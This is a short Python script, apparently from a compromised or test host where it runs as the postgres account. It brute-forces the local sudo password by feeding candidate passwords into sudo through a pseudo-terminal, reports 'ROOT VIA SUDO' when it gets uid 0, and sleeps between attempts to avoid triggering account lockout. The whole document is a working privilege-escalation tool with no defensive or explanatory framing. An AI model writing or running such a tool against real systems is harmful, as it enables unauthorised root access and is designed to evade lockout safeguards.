#!/usr/bin/env python3
import pty, os, select, time, sys

def try_sudo(pw, timeout=10):
    pid, fd = pty.fork()
    if pid == 0:
        os.execvp("sudo", ["sudo", "-k"])   # invalidate timestamp
    os.waitpid(pid, 0)
    pid, fd = pty.fork()
    if pid == 0:
        os.execvp("sudo", ["sudo", "id"])   # will prompt [sudo] password for postgres:
    buf=b""; sent=False; start=time.time(); status=None
    while time.time()-start < timeout:
        r,_,_=select.select([fd],[],[],0.4)
        if r:
            try: d=os.read(fd,1024)
            except OSError: break
            if not d: break
            buf+=d
            if not sent and b"assword" in buf:
                os.write(fd,(pw+"\n").encode()); sent=True
        wpid,ws=os.waitpid(pid,os.WNOHANG)
        if wpid: status=ws; break
    if status is None:
        try: os.kill(pid,9); status=os.waitpid(pid,0)[1]
        except Exception: pass
    return buf.decode(errors="replace"), status

cands = sys.argv[1:]
for pw in cands:
    out, st = try_sudo(pw)
    ok = "uid=0" in out
    print(f"[{'HIT' if ok else 'miss'}] pw={pw!r} -> {out.strip()!r}", flush=True)
    if ok:
        print("ROOT VIA SUDO:", pw, flush=True)
        break
    # brief pause to avoid tripping lockout
    time.sleep(2)
print("DONE", flush=True)
